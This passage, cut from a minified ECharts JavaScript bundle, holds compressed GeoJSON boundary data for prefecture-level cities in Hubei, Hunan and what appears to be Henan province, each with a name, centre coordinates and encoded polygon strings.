@¼šL°mšKVn@bnl@nVK@blb„L„W„U@VWLXV@nlKn@lVVbXw°nV_@¥Vƒl@XI@mlƒkkV¯VWnI@W‚@n¹nƒ@aWKXUƒaWk@yk@k„ċUkVmbk@WI—yóImÝkkwm@™mU@™xŁ›lU@mJƒX™ak@ƒx¯V@¼¯Vm„UmmIkVWK@UXIl@UWVUU@mVUI¯b¯@™lmKzWKUa™nƒJ@nƒlbÝ@@b"],encodeOffsets:[[114728,35888]]}},{type:"Feature",id:"4110",properties:{name:"许昌市",cp:[113.6975,34.0466],childNum:6},geometry:{type:"Polygon",coordinates:["@@lI„VnKlnVlnLVbšJlb„@ULVlUXVVX@‚a@KšI@wn@„aVV‚@nwnKlX„W°lVnKUX„x˜@„ln_°JVIXy‚XnW@U‚K@UXIVanKVVš@Vk@KVaXI‚@Vbn@nx˜KnaU™l™ƒn™Va@ƒXa@™VçUUla@aUK@wmUƒLk`kIWVkLmK@V@XUlƒn@JXV@nm„™bU‚óIƒmUa±@@ÑóVUUk@UlKVU@akWVUUlUUaUK@UUKWbUkÅJ@XWaƒ@XbmJ@nUJ@bUKƒLÝaUnk@›lXbWbXnm˜n¦lVXnWbUbVV@VkL@VmLaWl@n™b@bk@UVWak@WVImJUbUlmz@lUbkL@lVx"],encodeOffsets:[[115797,35089]]}},{type:"Feature",id:"4109",properties:{name:"濮阳市",cp:[115.1917,35.799],childNum:6},geometry:{type:"Polygon",coordinates:["@@lLXbW‚XXƒx@bVVnLllVxULUl‚XXlVlUnlŽU¦Ub¯l˜nœK@V‚bVb@šXbVL„KVxVVnIlašb„a„¥lU@wnalLnVVlVLXnlWVXn@@lVI@WnU@mƒÅW¥—aW_k@WwXy@kmƒ@wU„mš„š¦šlUxVLV@UwšJ°xš@VX„@Vb„@š`VX@VX@llšIVbnJlI„bšV„l„˜J@ƒmѯLóa@ƒƒKUa„k™ƒ™Xƒ@UK@wU@ƒlWUUݯImW¯aƒLUKU@ƒkƒ»k@mƒwƒa@UnKWI@ƒUU@akVWK—k@a±ƒbóUWKXUmk™KUmLƒbUx„„@lmLXŽƒ@@b„VW¦Un™JkbWnXl"],encodeOffsets:[[117642,36501]]}},{type:"Feature",id:"4111",properties:{name:"漯河市",cp:[113.8733,33.6951],childNum:3},geometry:{type:"Polygon",coordinates:["@@@Lƒ‚UnVxnIWa„@Xb@WÆIVlXaVL@VVLVbkVVŽUVlX@bUVkLV‚l@VVôU@Ò²@Vb„nôJVšanƒ@mWU@I„mVk@WkI@wmak™@wlW@w„@VbnLVb°bVyX™V_@aUKVVK@wUU@™™a™K@kmbXVmJUXƒ`kn™nƒK@aU@mw™akb±@¯ƒUUÝKUUU@WU@VkLUKU@mUmJUU@WVkL@UWJ—X@VVL@lVlUbšLVKnêÆŽ"],encodeOffsets:[[116348,34431]]}},{type:"Feature",id:"4106",properties:{name:"鹤壁市",cp:[114.3787,35.744],childNum:3},geometry:{type:"Polygon",coordinates:["@@ó™™n@xVVólƒ@¯zƒJ@bkl@@„kVWLUVmVXbVJnnlLlš¯@Xlm„°bVš—lWb@bšKVXnJ@VV„°nX@@w„WVklU„K@knVVKmkUKUaVkƒWkl»nwlްlö@lXšV°UVbXKV@šša„Jšw@Um™™kUy¯UUUƒaƒK@U™L@mm@XaÇkkmWank"],encodeOffsets:[[117158,36338]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hu_bei_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4228",properties:{name:"恩施土家族苗族自治州",cp:[109.5007,30.2563],childNum:8},geometry:{type:"Polygon",coordinates:["@@VK‚bX@lbUVnL°„@VlVnUl@VUX@„aVƒmaXƒlašUUU@wmaVUn@Vƒnmmk@m™U@kna™aU¥Vam™X_@WƒU™mW@_kƒVaVKnL‚lœ@VVal@k¥@kUW@kUKVUlUVсW@kÇaU»ValmkUVUVak™@aƒV¯_@W‚UkmVUlU@aœƒƒalI@akkVWUaWXUWwœWVbÆ@„„l„alIVK@U™m@UU„W@al²a‚¯UağÇm@ƒbkk@wƒ@@W™aULmxƒIU‚™ƒb¯@U`UX™JmL¯aƒKX›WUL@aknmK™@aWUXaWm@I@UÅmVU@™™aUV@b™VƒI@WkU›bXkm@VakwUKULWKXmJ@XUK@ƒmL@KUwVaUI@KU@mmn™mXka@»V@@UUaƒw¯yVk@ƒUUVmmkÛÈU@mWUnmx„šmlUbV¦UlbWVUL@UUƒ™IUmÇKV„VbUVVxkn™LUxV`VX@š„„kJVVUXWaUVVlUnmKUbkI@WULmK@L@LVlƒLnmUIWV@aknƒ`VXUJIVlUVVbUX@¤mbnLm‚m@UXk@mm@Ukaƒ¥@kV@@KkU@aUKWbkLWVkIVŽk@UbVlmX@bU@@mmL@bn`@Ln@llVLVk„@XVVU@`VXUš‚¼k`VULka@VllVIn¤VU@@bl܃bkx@bkL›škKƒn@bn@@b@JUnV`UnVbVKlVXUlbn@°ƒVx„@@b„nVbUllVn@V—VK@UnW@UVUšlnk‚VÈޚxVb„VVI„xVaÆ@@aka@UVaU@@a„k@Wl@nbVIƎ@Jk@„L@VlXnlla@VJnw@UmwXU@aVK°ÒnllnLlb„xnKVaV@l¦²nVl@llL„x@XVVœ‚͐š@našx@U@al™XUVa‚LÈþV°XxWXkK@šmLnlUb@b‚xnLVlVVkb@UJ@xWXXš"],encodeOffsets:[[112816,32052]]}},{type:"Feature",id:"4203",properties:{name:"十堰市",cp:[110.5115,32.3877],childNum:9},geometry:{type:"MultiPolygon",coordinates:[["@@@a@w@kV@nbVK@ƒnUla„@la„Ål@nlVakwWX@WkLšaVmšwV@anK@UlIXmWkk@@mmLkWlwk@U_mKXwWK@U¯K@UU@ƒVUa™kmƒkI™yUUVUmanU@mlwkƒ@_mWXaƒUWU@ǃ@U@aUaVwUKUIƒVkK@UWIXƒmaV@k@Vm@UnwlƒUamk@V@„ULUamxUJkU@Iƒ`WkkK¯XWak@@W@IUV™LWJkXkaÇVUKƒ@kUmbmUUƒUKƒbkKWUkI@ƒkKÝ@@aƒUm»nI@mƒU@UnWV_@aUmWbkLUl¯b@a›kkk@WkkJm_k@UV±@J@b›nU@@WÝIUJVbXL@nlJkx@„Wn@VkJmb—LmUƒ`VbUL@xVn„@XVƒŽ@„mVVnnJVbU„ƒx@„V„nVUbVVƒx@šn„™bUK@bƒ„@bƒJ„šm²„VU‚lbXzVJV„„JVbn@@Xmb@V@bVJÈ@‚Vnkn@°aVVV@šX„KnalLVmšUnnVKVlnLWlXX„Klk°š™šXŽWškLUVVV@nU@ml¯nmbk@W`Å@mb—LWm¯UƒxnêVèk@mbƒVƒnUK™@kKmXk@@JUI›lÛLllnbVnlJ@LULnlÆaVLnŽV@nkVJ„@lkô@²bÆm°w„L„WV@VXšKšVXI@W°ÆVšK„b°U„JVIVV„¦XKVL@l‚InaVÝnUl@@bX@‚™nmVL@lVL„lVLVUnbVW@xXn˜bœU°¤V@š™„a@kWKUUn@VlnL@UV@Ü»@mX@V_ƒakaÞ@VK‚¯@kkW"],["@@mUkUUm@nllVKXXVK"]],encodeOffsets:[[[113918,33739]],[[113817,32811]]]}},{type:"Feature",id:"4205",properties:{name:"宜昌市",cp:[111.1707,30.7617],childNum:9},geometry:{type:"Polygon",coordinates:["@@°`„U@blšUbUVlVkn‚ŽUbV¼Èb@l‚XUÒkVUVVL@lVX@ll¦k@UbU‚›@kmKULUbl„@`nXšŽ„V@XW`nšUbV¦šbmb@lšV@nnlmnU„m@UVnb@xVV™VkbW„nb‚VnVa@an@UaVU‚JXnWlXX@l„¦@ŽlKÆX„bX‚V@VV„@°¯°xXx‚XV@nV°UVWU_VWXkmaVnWVkn@lln@lb@UVLXWlnX@˜aXUmaVK@UXU„U@WVI‚W„XXV‚U@¥VKœ@‚Uގ„„‚a²LlV@kV@UanKma@UVUnK@UVLXyVL‚knJ@UV@@UXKWUXaV@Vb@mVLnKW„m@aUUm@@UkK@Ula„LXKWaXI@alKlmUk@wVKXL@m@WWn@UVa@K@wna@aW_XWWkXbVW@k@U¯WWwka@UUaVIVƒkU@m±@U@@wVKkaš_@VV@XUVwU¥‚šyUkm@V±ÈUKk»ÇL„m˜mLk@ó£kmWwƒm@U„IkWKXwWU@ƒkLƒwkbmaƒbkK@VƒLkmWIUKkUUƒÇIǫJ™XÅJULVŽÇLUVƒ@UK™@kI@WVI@UaƒWmXVVUL`±kÅLmKkƒƒkƒÅ@Ua›XXxWVXŽVbUXll@bkJ„b›„@bkVUVlnV@X"],encodeOffsets:[[112906,30961]]}},{type:"Feature",id:"4206",properties:{name:"襄樊市",cp:[111.9397,31.9263],childNum:7},geometry:{type:"Polygon",coordinates:["@@@Xl@Xb°WlLXl„_@JlVVInwVbVK@ƒ@UnlVbk„mx@VUnl@U@nbW„XJ@VlL„UVJVLUxVb@b@VȄ‚@XV„VWbnX@`l„kx@nmVnbUVVVšzlJn„šlVb„UV@@V°L@VXLWxnLV`l@kxlXnK@nl@XlWn„`Xnl@@UVa@VÈKš£VLVanW°U@UVU„@„`VIn‚mV@„nV@Xa@aVW@UšalkXKšblI„yƍXnlJXbl@@VV@nklU@`„nVK„LVKVb@V„U@UÈK„UVKšIlUX@V`lIVbn@nblVVmV@@XXJšUVV@knKVn@`@X‚VnK„wlLVmUUU@ƒU@aXL@WlU@UUW@UmU@KkLWaXkWmXUWm@U@ƒnk@UmK@U@UaUVUUKV_@al@namWUI@KUƒK@aV@WUIƒbƒ¥ULUJkIm™ƒK@U@K™V@U@a@UkU@K@wVaUwlU@mUƒULmKUkV@@anIWmUK@I¯„mKkl@LUb±lUakLmk@WwUKÝVUIm`¯n@Uk@makJU_@ƒƒJma¯ImwUVkKƒb™aUÅ@wWaU@VU@mXIVmmUkJkwm@mIlUKWzUK@VmLUV@VnbmLVbU@@lkU±KbƒƒÝV›@UL@¦VWUƒWXUJ@XƒVWV@VULnbWV—bW@kmWXUK@Vkam@kkm@UlmXUŽnbWlUXV`UX¯VmUU@Ul@Lll@nnJ@LƒnWmbmš@b™`ƒš","@@kUUm@nllVKXXVKmU"],encodeOffsets:[[113423,32597],[113794,32800]]}},{type:"Feature",id:"4211",properties:{name:"黄冈市",cp:[115.2686,30.6628],childNum:10},geometry:{type:"Polygon",coordinates:["@@VVUnWVXnVJ@„‚U@V@VXŽV@@IVJUnŽ@V@L@KlIVlVanLVbnVlI„ƒn@@a@Kl@@I„JlI@aXU@KlK„kVblJXU„VlU@V„bVkVKXn@VlxVa²I@VlVUxln@bšJXklaVWnLmÅ@y@k@ašI@W@aXIlVVaV@nnlKnLVW@IUa@a@K„UVVlI@wXKVV@IUƒla„@lUXwWƒnƒnalLlxXLll°@XwVKVaXIl™nb˜@nln@Va@U@k°ƒUmÆUVaXI„JV¯ÇUmmkU@WaKmakVm@U@aVKkkmKkVmIkǰ£@aUUVaVVnKlkX‚mkƒ@ƒlUVaX@@Um@‚™UmlUXV„UVU@w‚K²¥Ua@I@UV™l@U™V±UIUǰ»VkUmVI@a@U™m™ĉ™¯V±bŹĖğaÇL¯lmŽkX@‚óĀ@ŽmšÝêb±WkLƒn@xXx@Ž@b@V@LW@UbƒlţXƒ`kxWnXô¯¦ÆV@L@JVLƒxkK@V@bkz°l‚lXz@J„UlVla@XUV„bVKXnW`XXV@laVV@V„X@V¯xƒx@xULVbUJ@n@LU@VmmakbUK@b™IWWUUVkUmkLm@VJkb@nUJƒ@`V@kX™aUaVmmLkUmJ@Uk@U„±lkzmJUb@b„VUxVXU¤ƒL@JƒX@VlL@JkLUVU@mnUl„¦@V"],encodeOffsets:[[117181,32063]]}},{type:"Feature",id:"4210",properties:{name:"荆州市",cp:[113.291,30.0092],childNum:7},geometry:{type:"Polygon",coordinates:["@@ÈJV„lVVLXJln„K@UlL„anbla„xlK@„XVWxXLlƒJ@V„nXxlnô¤l@nKn—‚ƒÈKl¼VL²Ç‚Un@Vl™zŽV¦UxWVU@@U™`lbUL@xV@²@@nlVU„UJVb@VlbXx°XVWX_VKUwVKVa@UVKUUVk@KnblaUU@wnWl@UX@lÆ@@a„IVmUk„™šxVJ„U„bܙ@Uk@WWnk@Vƒ„™Vm@I@m@Un@m™XUlVlUnJ@knJVU°@@aÆLX@ƒllL@¦nJV@XblLVa²U@UlWš@VX@`@LV@@bXJlIXml_lJœU°b„KÆLnVVl‚@ö—Vƒ‚mXaVIĢllUlVnLVlX@@b‚ašnnxšV„L‚bn@°ÆXmmkĉƒ¯w±™™™Uċ@KÝÅƧŃÝ癙Uw¯ƒm™¯k@W‚kV@¯UIUJW¼kb™Uƒwk@W`@¦Uônb@VƚlÈ@VU@ƒƒ£UWWnUÆUnmJkUÇ£VWUI@aUU@WkI@Uƒa@JW@k£kaWVUKmnkKƒb™kkVWb—VmUUmwU@kk›@UakUUa@V@nlx@lUb±lUbnnWLUyk@UamœUK™@mlk@Wb@VXL@x@xWI@a¯Ž¯V@bVn@LkKmL@`XmKmVU@@bkL@V±bk@Uaƒa™L™KUVƒIƒ„™W™XamVVbUK@b@Lm@UWkxULWVUnm@UlUX"],encodeOffsets:[[113918,30764]]}},{type:"Feature",id:"4208",properties:{name:"荆门市",cp:[112.6758,30.9979],childNum:4},geometry:{type:"Polygon",coordinates:["@@n@lxlInVUnWJ@nUVV@Xb@xVƚb„alLVUnx°Jnb„I@„V`lInbl@@V°mn_VJÞUVLXx‚@nllKVb²kVa@KlknL°ƒ@JVLXnmJ@bU@VlnLVKV„@nX@lUšKVaXal@VKn@¥°L@Unw˜bnašV@KV@VUX@lVXI@KW@@IXWV@laVL„„KlaXUVVnkVWV@lwXblIXWVkVmšaU£VaUmVIkU@y@WakKUamU@UUK@kmK@w@@mK@LƒV¯™U@WwkmULƒamVVUU@ƒƒIƒbUKUa™kmƒm@UakLmxU@UÒWlULţÿmwkIUm@a‚kÈblW@UVƒUUk@JW@XkWWUkUKUIlw@aUWknWUUmnIWƒ™aUwVaۚƒaƒVUI™wƒšVlUnƒJ@bÅ@@kVWk@mX@xVVkbma@LUlVVUL@VUbULVxULW`UX@V@lUXWaXlWXX`@bmb@x@LUb@VmŽXX@‚@nWKUL@xVlknkL@bWJXbWLƒKkb@VlL@Vn@VV@bƒnX‚mLUK@nUaU@WbXVWL@VU@@V"],encodeOffsets:[[114548,31984]]}},{type:"Feature",id:"4212",properties:{name:"咸宁市",cp:[114.2578,29.6631],childNum:6},geometry:{type:"Polygon",coordinates:["@@ÞÆ‚LČ@šV‚š²š°xĊ„nlWnŎ¯m@aƒK@„„°‚n„Jšwn™VIUaÆJšÅ@wšwV™XW@aV_l@²V°lĊwlaXLšwlUkalVVaX@lVXI@a˜UXJ@U°UU¥VIVKVklanLVa@VÈIVV@nk@aVa@mV_@a„K@klKUa@UnKWk@@lU@@UW@@nUWUwmaVIXƒ„lV@mLXblJ@kV@kk@KU@WƒkUWVÅwkLmW@UmL@lUL™KULƒak@maUUÝwUJƒIb›KUUƒ@š™aWK@kUWVkUwVw@™mÝ@™I@wkW@a›ww@LU¥™kƒJ@nVJƒIkVVnkV›UkyUIUl@xWUkaW@@°kz„ŽWxkLUWmzk@@bVVVš„b@‚@XlVœ@Vl@bVbUn™`Wn—@Wb„VVI@`„LVbXLV`mnU@@lƒL@LUŽƒak@ƒLk@WbUJn¦@lVb@xVb@n"],encodeOffsets:[[116303,30567]]}},{type:"Feature",id:"4213",properties:{name:"随州市",cp:[113.4338,31.8768],childNum:2},geometry:{type:"Polygon",coordinates:["@@„@nš`lw„k„ƒ„UmUVWX@lk„@VanUĠ¼V@@mX@@nVV‚VXLmJVLnK@b„V@@J„@VUn@VaVUUUVWVLV@@Kk_@almaVkUU@WVƒVUVLXmmk@wUaUKUV@°™@kmaUaÈmW„mUƒVklaX@lVnxl@@UnaUk@ƒVUVwVK„nš@VVn@VbVJUknUmmVmk_Vw„KUUm™Vak¥@UVKVIkW@UmIVWkIVƒkmmLkwmVUƒ@LƒUU@VVXL@JmLUbmK@UUKmkKUUmVUaUnÇlk¯™mJUnmLUaUJUaWL@UkJ™ƒUƒ@ƒaklkU@¯@KWLUmUUWVkbƒLƒŽUKkbU@WX@JX@@LWJkUW@UVU@@L™Umb—amx@V¯K@¦mŽULk@WbUb™LkVW@kVVxUb@x@LlV@V@b@VšU@L@V„LnšlJVIVK„¦„aVJ@XUŽ@b„LV‚@LVJnXmbk@@bU`VLUVV‚b@V@VnL@Vml@„@VXnWVXnWlXblK@LnV@VVX@VkV@XWK@b„VV@VV"],encodeOffsets:[[115830,33154]]}},{type:"Feature",id:"4209",properties:{name:"孝感市",cp:[113.9502,31.1188],childNum:7},geometry:{type:"Polygon",coordinates:["@@VnXK@L@°lVlk„b„@„VšlI@VXKVbVIVbnKVmnI°šlŽÈkVmVbnUVVlLnVL@VnLVanK@IWKUUV@„V@KV„nUlxnKlnU„lJUXnJ@VlXUJUL@Vl¦UbnšVVƒLUxl`UnnnmVVlnVK„bšmVX@a°Ý°LšaXJV@VUnKVXVK@LnKlLUbVVX@VwVJVn„@@UU¥V@@UUK@ƒmaUVUkkJ@L@K@UmVUI@JU@W@U@UV@ƒUIWmXUVmUUÇ@UVmIlmnmakK@akaW@UwVUkKVnUlKVwk™ƒVU_WKUkVW@UXaWkUa@w@VU@XaW±@IkbƒKƒb¯L@WƒXkWƒ@UakL@UV@UmVUmL@UXWVL@ašUƒVUUUVU@yUUƒIUa@wUKWVU@kƒ™™Wk¯UkwVKƒLUx™K@nVxUlUUWVUmw@wƒUUyXWlX¦WbUV@„U‚@blbUVVbXXƒl@lVL@bk@lxkVVnVx™¦ƒ`UnkL@V@L@Ž‚@@xnL@lVL@VnVVblLXb@‚@zlVUJVnUbV¤™bUnUlWXkJWakxU@UXml"],encodeOffsets:[[116033,32091]]}},{type:"Feature",id:"4201",properties:{name:"武汉市",cp:[114.3896,30.6628],childNum:1},geometry:{type:"Polygon",coordinates:["@@nbnm‚knJVUÈ@@Uƒ¥VknmV@VUlK@IkK@U„W@I„KV£UWVwƒU@aVanIly²kVƒl@@VnIlVnKUnVbšblWU@@_„‚VI@mlaUIn@lKVnUlVVXXšJ@aVLlanbUnV@@K@mVIUaVK@w„w°w@UƒW@UUUkbU@WWX_WmULƒaVU@WkbkUƒV@IWyk¯kly@a@UlL„wUK@I@KÅUW@ѱUm@wl¥kaƒ@@_Vw@ķƒa@akw@ƒkKW£XVUVwVwUaU@VUU™™xWKkbĉx¯k±Uk@U`@bWXUš™x@x™ÆÅIVbUJmš™xƒImƒ¯@ƒ™Umx™nUVVbnJV„@Lƒ@@ŽkV@bVnƒ@UVULlx°VXlššl„V@XUVL@xVb„JVV@zUVVVUV„™V@bUKWX@VnKUVVnU@@VlKVb„@lX„W@X°K„a„Lla@JX²Wb@ŽUV@@xVbXlWb@VUXVlXLV`Uš„lŽUxkLmVUŽlLUVVxX@lb@blL"],encodeOffsets:[[117e3,32097]]}},{type:"Feature",id:"4202",properties:{name:"黄石市",cp:[115.0159,29.9213],childNum:3},geometry:{type:"Polygon",coordinates:["@@VšUVV@VbUx„aWUœblUVmnKlX@bXJVIlVUxVVVIU‚zlx¯š@‚VbnL@x‚x@UVaXK„b˜@Xk‚WU_Vm²klW„XVK„Žl@nXV@@w„mlK²X‚aÞén™@ôÿ@lWn°kUKmmUљUmm@ƒwkImWU@UakL@bVLUVċ@™bUK@alIXKWK@™nXnKmkUVwƒ@¯b@L„lUL±W™n@KULUaW@kL@lƒL@bU`@nUb@bmlU@UÇJ@UUbmKkblŽUULUJV¦¯V@VWI—V@bWJkUW@UbkUlbkV"],encodeOffsets:[[117282,30685]]}},{type:"Feature",id:"429021",properties:{name:"神农架林区",cp:[110.4565,31.5802],childNum:1},geometry:{type:"Polygon",coordinates:["@@n`lIXll@lœl@b°aVklKXaVn@bU`mX@V„V@nmJn¼„V@bÞ@lL@„lJXVlL„aVLV„nVnalV„@VLÈUlblWXIšKVU@J„™š_‚@an™na‚X„m@KmI@mkk@KVkWWw¯w¯°ƒ@UUU@WƒaÅWkL@ƒ¥@kWWXkWmIUVVbm@@bUbmUU„ƒbW@UVk@mVkU@U¯ƒmKVUkaW@aULƒÆVbƒb@VÅ@Un@VƒLWl¯Lš„"],encodeOffsets:[[112624,32266]]}},{type:"Feature",id:"429006",properties:{name:"天门市",cp:[113.0273,30.6409],childNum:1},geometry:{type:"Polygon",coordinates:["@@@K@UlKVm„_š¥UwUmlUkwl@@aUK@k„kWWUaVUka@aV@ƒVUXaW¥Xk@WWIklm@ÅxmI™VÝUkxkaƒ„@bWJaUL@„W@™l¯UULU‚ƒbƒkV™Ua¯bm¤UnÇUkmUšUx˜b@VkXÇal@bVnlJnxŤĀVKXkVÑV@nwlKVbn@n„šlVbVL„a„J@„VV‚UnU„bVKlnXxV@°š„U@KnL"],encodeOffsets:[[116056,31636]]}},{type:"Feature",id:"429004",properties:{name:"仙桃市",cp:[113.3789,30.3003],childNum:1},geometry:{type:"Polygon",coordinates:["@@VK°VškX@@ƒVK‚bXI@a„ƒlblwÞVšUnJÆwn@lkXJ@X‚WVz„V@xnx‚VXUVVVkUw@mšLVw„KVU„@Um@alU@„@@KUƒmIUaVUšmnwmw™mb@aW@UkmKkUkVġkUJWbnU„õ˜@UkmUÅKƒL¯a›VkIk`WnkJƒ@xVLUVVbUbk@WlXbm„VxnxUblbUV™@@VUV@nVL"],encodeOffsets:[[115662,31259]]}},{type:"Feature",id:"429005",properties:{name:"潜江市",cp:[112.7637,30.3607],childNum:1},geometry:{type:"Polygon",coordinates:["@@UbVxšbX„mJVnXVlmVX@bkxVJVLVlXXWlX@@IVl„V‚U—aVwV™lnÈVVmn£°aVbUš„l„aVUK@mVU@Uš@VUkaVamwUwnƒWaXkl@VaUaVUUK@w„WI@aU@@K@_UW™@kX@V±VUbkKWaU@mI@¥kK„kW@ÅK@b¯@UVmI@lmIkVkUWVnšm@@V@n@JUnƒšU„@ŽmlXXl@@V"],encodeOffsets:[[115234,31118]]}},{type:"Feature",id:"4207",properties:{name:"鄂州市",cp:[114.7302,30.4102],childNum:1},geometry:{type:"Polygon",coordinates:["@@°¥WóXmlw„_ŤW„kVaX@@K@U@a@WwU@mWk@ƒULƒWkX±lUnV`XWl—@ƒaWLUb@Vw@wmKUa@°™kw‚yVUJUUVwkUUJWI@akWmLUnkV›aXVƒbUxUVWX¤lL@„lx@b„b@ĸUx@`„@lbk¦@x‚n²VƄX@"],encodeOffsets:[[117541,31349]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hu_nan_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4312",properties:{name:"怀化市",cp:[109.9512,27.4438],childNum:12},geometry:{type:"Polygon",coordinates:["@@@n„‚@b@XnJ@k°x@aVUnl‚UXnV@@VnJWUJV„nIVV°ŽUbVVVL@޲LUVa°V@aV@nm‚UXblLXWVXVmVLVK@an_„`@X@l°„VlXXW`nX@Jmn@b„@nV@Lm`„bUb‚n@VUVl@nIVbUlƒV@LkJUnVV@xVblVUbU@ƒzUKU@mx@xUnn@@WV@lbUb@šnVWXX‚V@VIV@VUnJ@VUz@JWbXllI@VXVVL@ŽVn@„„Wlb@„Žl„XVlL„aV@VJ@XX`„kVwVl@bk„‚bUŽlVXIlƒnLVa„mVwV@@nV@XaVJVbX@lwV@n„@nV@VWnIVVUŽÆ@Xx‚a@I„UUKmk@mVƒ„IXmWUš™VJnUVU@anaVwk™›U@UXa@W™@m_@a¯@@K@UVƒ„bnK@blIlbXa@WW_n@VƒU@¯bmyƒUkUJÇÅ@WU@kWKÅwƒnm°KVkmankVWnXVWV@UƒƒwXkV@mƒ„UlLnaƒVaX@VUn@VnVK@xlnXWšU@a™@@klak™Vw™mUaV@™wmIÛ`m—@mVUXmlIXƒV‚I@K@aU@UaV_UK@wkUmmUKWXŽmVkUƒL@mƒƒU_nK‚™@aVU@Ukak»@U™™@ymUƒ„¯™ƒUUƒVKkam@™nka@ƒmwkLWb¯mkaƒ_VaVKUƒ™IUw@kKmU@WK@UnƒmaULkU@wUalWV¹U@@WUI@WU@‚_@W@U@mƒU@WbbUK@Um@@UmbUwWWkk@WU„a@anUUwlWUwUU@wlJVUnnV@@mnI@m‚K@U@w„a@wUm@_mƒVUUaVUkƒƒƒ_kċUk™VWLƒ@mlU@kn¥W@UwUWV@VÝU@lXLWVUbVLXlVIl‚knmU@VUJk@@„ƒ@™kVmwmVkxU@@XmVUb@xnKVLl@VxUxkIU`@bWVXX@JWL@bkb„¤@bmUUU¯Kƒkmb@V™VU„VVn@@„Vb@`lnœxmb„lUn‚bk„@xU„mV@bmWbUV@VJ„Il@nVUb‚K@nn@VbnJVIlJVkXJ@X@lmx@bnnWVXJWXU@UlU@mk@@llb°x„IUbnJ@VWbXVmI@JVX@bk‚@bWL@JUXUK@U@Uƒ`n@@Xm@XVW@@nX@@`ƒImxU@@JUI@KƒLmK@UÅUUV@VW@™¯kUU@UamVUUmJ@n„xmLKƒkmJkwkKm_mKXU@aƒU@b@Wk@ma@zUJVUmbUlU@™xnXlWlXXblK„¤V@@nUVVLkVš„l@Xb@VVK‚nXKVx@znW@X‚@@lVK@X@JXbWbnn@JUamLVVXIVxnK@aWUX@˜x@VnI@WlI@anV„IVxk‚l@lbXXšxVVVJVInbV@@ln¦ml@XXVWbkJWb","@@XLVKVXVKUa@UUUmV@l"],encodeOffsets:[[112050,28384],[112174,27394]]}},{type:"Feature",id:"4311",properties:{name:"永州市",cp:[111.709,25.752],childNum:10},geometry:{type:"Polygon",coordinates:["@@lxUXV‚lXUVnlVĢ„JVbUXVJV@XUW¯„VIUK@klW@Un@„nl@V`XUVL@l@šVx@„XXW`UnUbšxUlVnUšV„lb@VnJšUVVVInJlUšVnwVklKnw„LVJVšV@nIV@nbVa@KVVVUUa„KV_nVVJ@_VW„nV@n¥lI@anƒl¥X_VKlwVlULUVVVš@šU@VXL˜ƒ@IUmn@VU@wmKXUWU@m²šl@VIXWWkWUkWlkIVamUXamUnmWUU@@Un™lK@XJl@kVUk@mWKXkl@@aVU@UVWUUVa„In`VUVLnw@U@K@Uƒƒ@w@UVmUUƒ™°K@UnV@bV@Xk@KVm@amk„aU£VWUUmUUwm`UbULka›KXU@kVmU™@aV_UWVIn@˜y„XXK@klmV„V_kWVUn@WUU@UƒmaU@™wnwWanUmmXkƒam@UakLmK@b™xUUUU@Km¥Vaƒ¯@ƒkUaVUlm„UU@mUUÇmUk™Uyƒb™bUa™XUWWbÅLmL@V™aL@WWXUKmmk@a@UUK™XW¥kU@VƒUkxmVkUWbUJnVJ@nVJXzWxkŽ@lVbUX@VVL@`mbUnšŽUn™VV¼k@Ulm@mwLƒb@lmLUK@UamƒWkƒK@£Ua@ƒ›UkJkUmbVlkX@bWbUŽVŽnnUVl„@bšbVK@VX@lb„V@nU¤šx‚²„Knblb@x„V„ô@šlŽ@b@l@XWxnVl@„VV@XLVl‚LUŽUXV`šbXXmJU@@bm@UUkLW@UlUKWUUb™wUm™L@nklVVmVXXm@@bUKlÆn„‚XkllVUVVL@nUbV‚@V@nnV@xUn¯U@JW@UX@xĉ@™`m@@LV@b"],encodeOffsets:[[113671,26989]]}},{type:"Feature",id:"4305",properties:{name:"邵阳市",cp:[110.9619,26.8121],childNum:10},geometry:{type:"Polygon",coordinates:["@@XIlJšI„VVK@n@VVVKnLVwVmnLVK@U„@šw„J@wVIƚ°X@ÜȄUÈxll@kn@VwVaXJWXn@@WVL@UUKVKV_U@@aVK„x@U„aV@lk„@XylbUaV_šVnal@W„U@a„I@aV@@aVUl@Xm‚UXWaXml@@kk@ma@V_UnUV™UUWJUa@kkaWLUmk@@LUVWUkJWkK@¼UnWJƒIkV@b@JUIm@Ul™V™m@Uw@a@kWƒXWKUknW@ƒWUU@k™mx™UkVmIUJUU™VmI@UkaUƒV™UmVk™wVaVmX_WW@ƒUw@™@kUKWVU_k@ƒmm@@VkX@lVLUJƒX°WVU@UIVWUaƒIUġmkVUkWUVWkwWXk`mI@¥kUVƒUƒUn±@m›XkWknV„UVmmU@@XƒVƒUk`@Xƒƒƒk@¥¯»mbĉó@mkU@kU™ƒƒ™KmX@˜UnmL@lULkKUƒWUU@ƒbUaUnƒ@Vb@l„¦Ub@l™@UKmnƒKUnl„UVVbUVn„@`Vn@xƒb@x@VL@nmJ@nU@mmUVkI@xVVVxkXVxmV@bƒbXVl@Xl‚XVxna@Vn@@VVL‚aXaV@n„‚@@V@X`V@@XVJ@XV@UºkXVb@xlVVKnbm„@VXLV@n‚lL@VxšJV„ULUb„`lb°nXalKnx@„lbšmn@lbULV„„V°š„ƒnV@zšš@Vl¼lb@VUV@bšmLV`„„@n„KlVnU‚XWVLnnlV@xVLU`VbV@"],encodeOffsets:[[113535,28322]]}},{type:"Feature",id:"4310",properties:{name:"郴州市",cp:[113.2361,25.8673],childNum:10},geometry:{type:"Polygon",coordinates:["@@²zVaVlnVl@nšVk„Jl_XJlIVmnL@mV@VXn@lV@‚XzV@lyV¯²U@UlJ@XVKnVVIXl@UVLV`@n@J„I@mlI„KVLnUlVUVVLXašKVLl@nb@ŽW„XV°KUnVV„L@xVJ„L@b@LUVVVU„˜VXbmbVbn@@lUbm@x@XVVVŽ@@˜@bkImx@Vm@Xbƒb@l°XU¤„a‚L„mnL@bl@@™VUX@VxnV˜anLnƒWƒ¥XKVwnUWXmVIUWÆLVx„L„w@wVmlU@¥XƒWUkwlÇn_Uw„WV@VU°wnU—ƒy@aVškVlnL@lVn„w@VlJ@b„X„x@bVKnb@U@WVUl@@Vnbl@XLlK@aVLVKnxÞn@a„LlmUaVU™ƒm@ÅknUmaUKmVk@m™kk@UlWUkVm@w@kUU@W™U¯™¥@w„Ç@aVIlUV@kUWU@UUm»@k@mKVkUKUwƒaUaUa›@k„kUWJkImaU@UK™@maUzk`@z